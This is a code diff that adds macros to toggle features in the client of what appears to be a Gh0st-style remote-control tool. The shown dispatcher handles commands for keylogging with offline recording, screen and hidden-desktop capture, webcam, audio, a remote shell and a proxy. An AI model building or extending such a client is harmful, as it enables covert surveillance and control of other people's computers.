style: Add macros to enable/disable client building features
This commit is contained in:
@@ -8,6 +8,8 @@
|
|||||||
#include <Mmsystem.h>
|
#include <Mmsystem.h>
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
#if ENABLE_AUDIO_MNG
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -127,3 +129,4 @@ BOOL CAudioManager::Initialize()
|
|||||||
m_bIsWorking = TRUE;
|
m_bIsWorking = TRUE;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "Audio.h"
|
#include "Audio.h"
|
||||||
|
|
||||||
|
#if ENABLE_AUDIO_MNG==0
|
||||||
|
#define CAudioManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
class CAudioManager : public CManager
|
class CAudioManager : public CManager
|
||||||
{
|
{
|
||||||
@@ -28,5 +32,6 @@ public:
|
|||||||
CAudio* m_AudioObject;
|
CAudio* m_AudioObject;
|
||||||
LPBYTE szPacket; // 音频缓存区
|
LPBYTE szPacket; // 音频缓存区
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
#include "ScreenManager.h"
|
#include "ScreenManager.h"
|
||||||
#include "FileManager.h"
|
#include "FileManager.h"
|
||||||
#include "TalkManager.h"
|
#include "TalkManager.h"
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include "../common/commands.h"
|
#include "../common/commands.h"
|
||||||
|
|
||||||
|
#if ENABLE_SHELL
|
||||||
|
|
||||||
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
||||||
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
||||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
||||||
@@ -341,3 +343,4 @@ DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
|
|||||||
Mprintf("[ConPTY] Read thread exited\n");
|
Mprintf("[ConPTY] Read thread exited\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -7,6 +7,11 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#if ENABLE_SHELL==0
|
||||||
|
#define CConPTYManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
// ConPTY API types (dynamically loaded)
|
// ConPTY API types (dynamically loaded)
|
||||||
typedef VOID* HPCON;
|
typedef VOID* HPCON;
|
||||||
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
||||||
@@ -56,5 +61,6 @@ private:
|
|||||||
// Thread to read from PTY
|
// Thread to read from PTY
|
||||||
static DWORD WINAPI ReadThread(LPVOID lParam);
|
static DWORD WINAPI ReadThread(LPVOID lParam);
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // CONPTYMANAGER_H
|
#endif // CONPTYMANAGER_H
|
||||||
|
|||||||
@@ -10,6 +10,8 @@
|
|||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
|
||||||
|
#if ENABLE_FILE_MNG
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
DWORD dwSizeHigh;
|
DWORD dwSizeHigh;
|
||||||
DWORD dwSizeLow;
|
DWORD dwSizeLow;
|
||||||
@@ -1186,3 +1188,4 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
|||||||
Mprintf("[V2] 连接服务器失败\n");
|
Mprintf("[V2] 连接服务器失败\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -1,10 +1,16 @@
|
|||||||
// FileManager.h: interface for the CFileManager class.
|
// FileManager.h: interface for the CFileManager class.
|
||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
typedef IOCPClient CClientSocket;
|
typedef IOCPClient CClientSocket;
|
||||||
|
|
||||||
|
#if ENABLE_FILE_MNG==0
|
||||||
|
#define CFileManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||||
#include <winsock2.h>
|
#include <winsock2.h>
|
||||||
@@ -62,5 +68,6 @@ private:
|
|||||||
HANDLE m_hSearchThread;
|
HANDLE m_hSearchThread;
|
||||||
volatile bool m_bSearching;
|
volatile bool m_bSearching;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||||
|
|||||||
@@ -786,6 +786,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
|||||||
return data != NULL;
|
return data != NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 给主控回复功能禁用消息
|
||||||
|
// TODO: 主控收到此消息后,可以选择以插件形式执行该禁用的功能
|
||||||
|
void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size) {
|
||||||
|
char buf[512];
|
||||||
|
sprintf_s(buf, "%s disabled[IP: %s][ID: %s]", type, client->GetPublicIP().c_str(), client->GetClientID().c_str());
|
||||||
|
Mprintf("%s\n", buf);
|
||||||
|
int n = strlen(buf);
|
||||||
|
memcpy(buf + n + 1, data, min(size, 500-n));
|
||||||
|
ClientMsg msg(DISABLED_FEATURE, buf, sizeof(buf));
|
||||||
|
client->Send2Server((char*)&msg, sizeof(msg));
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -940,6 +952,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case TOKEN_PRIVATESCREEN: {
|
case TOKEN_PRIVATESCREEN: {
|
||||||
|
if (!ENABLE_SCREEN) {
|
||||||
|
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
char h[100] = {};
|
char h[100] = {};
|
||||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||||
std::string hash = std::string(h, h + 64);
|
std::string hash = std::string(h, h + 64);
|
||||||
@@ -962,6 +977,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
|
if (!ENABLE_PROXY) {
|
||||||
|
return ResponseDisable(m_ClientObject, "PROXY", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1052,7 +1070,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
||||||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||||||
mgr->m_bIsOfflineRecord = TRUE;
|
mgr->EnableOfflineRecord(TRUE);
|
||||||
}
|
}
|
||||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||||
}
|
}
|
||||||
@@ -1067,6 +1085,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case COMMAND_KEYBOARD: { //键盘记录
|
case COMMAND_KEYBOARD: { //键盘记录
|
||||||
|
if (!ENABLE_KEYBOARD) {
|
||||||
|
return ResponseDisable(m_ClientObject, "KEYBOARD", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
@@ -1079,6 +1100,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_TALK: {
|
case COMMAND_TALK: {
|
||||||
|
if (!ENABLE_MESSAGE) {
|
||||||
|
return ResponseDisable(m_ClientObject, "MESSAGE", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1090,6 +1114,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
|
if (!ENABLE_SHELL) {
|
||||||
|
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1100,6 +1127,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: { //远程进程管理
|
case COMMAND_SYSTEM: { //远程进程管理
|
||||||
|
if (!ENABLE_PROC_WND) {
|
||||||
|
return ResponseDisable(m_ClientObject, "PROCESS", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1110,6 +1140,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: { //远程窗口管理
|
case COMMAND_WSLIST: { //远程窗口管理
|
||||||
|
if (!ENABLE_PROC_WND) {
|
||||||
|
return ResponseDisable(m_ClientObject, "WINDOW", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
m_hThread[m_ulThreadCount].p = sub;
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
@@ -1179,6 +1212,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SCREEN_SPY: {
|
case COMMAND_SCREEN_SPY: {
|
||||||
|
if (!ENABLE_SCREEN) {
|
||||||
|
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
@@ -1195,6 +1231,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE : {
|
case COMMAND_LIST_DRIVE : {
|
||||||
|
if (!ENABLE_FILE_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1205,6 +1244,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WEBCAM: {
|
case COMMAND_WEBCAM: {
|
||||||
|
if (!ENABLE_VIDEO_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CAMERA", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
static bool hasCamera = WebCamIsExist();
|
static bool hasCamera = WebCamIsExist();
|
||||||
if (!hasCamera) break;
|
if (!hasCamera) break;
|
||||||
{
|
{
|
||||||
@@ -1217,6 +1259,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO: {
|
case COMMAND_AUDIO: {
|
||||||
|
if (!ENABLE_AUDIO_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "AUDIO", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1227,6 +1272,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT: {
|
case COMMAND_REGEDIT: {
|
||||||
|
if (!ENABLE_REGISTRY) {
|
||||||
|
return ResponseDisable(m_ClientObject, "REGISTRY", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1237,6 +1285,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES: {
|
case COMMAND_SERVICES: {
|
||||||
|
if (!ENABLE_SERVICE_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "SERVICE", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
|
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
|
#include "KernelManager.h"
|
||||||
#include <tchar.h>
|
#include <tchar.h>
|
||||||
|
|
||||||
#if ENABLE_KEYBOARD
|
#if ENABLE_KEYBOARD
|
||||||
@@ -51,9 +52,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
clip::set_error_handler(NULL);
|
clip::set_error_handler(NULL);
|
||||||
#endif
|
#endif
|
||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
|
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||||
|
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
std::string fileName = GetExeHashStr() + ".db";
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
GET_FILEPATH(path, fileName.c_str());
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
|
|||||||
@@ -236,6 +236,9 @@ public:
|
|||||||
HANDLE m_hWorkThread,m_hSendThread;
|
HANDLE m_hWorkThread,m_hSendThread;
|
||||||
TCHAR m_strRecordFile[MAX_PATH];
|
TCHAR m_strRecordFile[MAX_PATH];
|
||||||
TextReplace m_ReplaceRule = {};
|
TextReplace m_ReplaceRule = {};
|
||||||
|
void EnableOfflineRecord(BOOL enable) {
|
||||||
|
m_bIsOfflineRecord = enable;
|
||||||
|
}
|
||||||
virtual BOOL Reconnect()
|
virtual BOOL Reconnect()
|
||||||
{
|
{
|
||||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||||
|
|||||||
@@ -225,7 +225,7 @@ HDESK SelectDesktop(TCHAR* name)
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
CManager::CManager(IOCPClient* ClientObject, int n, void *p, BOOL b) : g_bExit(ClientObject->GetState())
|
||||||
{
|
{
|
||||||
m_bReady = TRUE;
|
m_bReady = TRUE;
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
|
|||||||
@@ -11,9 +11,7 @@
|
|||||||
|
|
||||||
#include "..\common\commands.h"
|
#include "..\common\commands.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
#include "common/config.h"
|
||||||
#define ENABLE_VSCREEN 1
|
|
||||||
#define ENABLE_KEYBOARD 1
|
|
||||||
|
|
||||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
||||||
|
|
||||||
@@ -41,7 +39,7 @@ class CManager : public IOCPManager
|
|||||||
public:
|
public:
|
||||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||||
BOOL m_bReady;
|
BOOL m_bReady;
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject, int n=0, void* p=0, BOOL b=0);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
||||||
@@ -69,6 +67,14 @@ public:
|
|||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
static bool IsConPTYSupported() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
void EnableOfflineRecord(BOOL enable) {
|
||||||
|
}
|
||||||
|
virtual BOOL Reconnect() {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||||
|
|||||||
@@ -6,6 +6,9 @@
|
|||||||
#include "RegisterManager.h"
|
#include "RegisterManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
#if ENABLE_REGISTRY
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -56,3 +59,5 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "RegisterOperation.h"
|
#include "RegisterOperation.h"
|
||||||
|
|
||||||
|
#if ENABLE_REGISTRY==0
|
||||||
|
#define CRegisterManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CRegisterManager : public CManager
|
class CRegisterManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -20,5 +24,6 @@ public:
|
|||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
VOID Find(char bToken, char *szPath);
|
VOID Find(char bToken, char *szPath);
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||||
|
|||||||
@@ -31,6 +31,39 @@
|
|||||||
#include <audioclient.h>
|
#include <audioclient.h>
|
||||||
#include <functiondiscoverykeys_devpkey.h>
|
#include <functiondiscoverykeys_devpkey.h>
|
||||||
|
|
||||||
|
bool IsWindows8orHigher()
|
||||||
|
{
|
||||||
|
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||||
|
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (!hMod) return false;
|
||||||
|
|
||||||
|
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||||
|
if (!rtlGetVersion) return false;
|
||||||
|
|
||||||
|
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||||
|
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||||
|
if (rtlGetVersion(&rovi) == 0) {
|
||||||
|
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if ENABLE_SCREEN
|
||||||
|
|
||||||
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
|
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
|
||||||
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
|
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
|
||||||
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
|
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
|
||||||
@@ -56,20 +89,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
|||||||
#pragma comment(lib, "Shlwapi.lib")
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
#pragma comment(lib, "wtsapi32.lib")
|
#pragma comment(lib, "wtsapi32.lib")
|
||||||
|
|
||||||
#ifdef _WIN64
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
|
||||||
#endif
|
|
||||||
#else
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -77,23 +96,6 @@ static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
|
|||||||
#define WM_MOUSEWHEEL 0x020A
|
#define WM_MOUSEWHEEL 0x020A
|
||||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||||
|
|
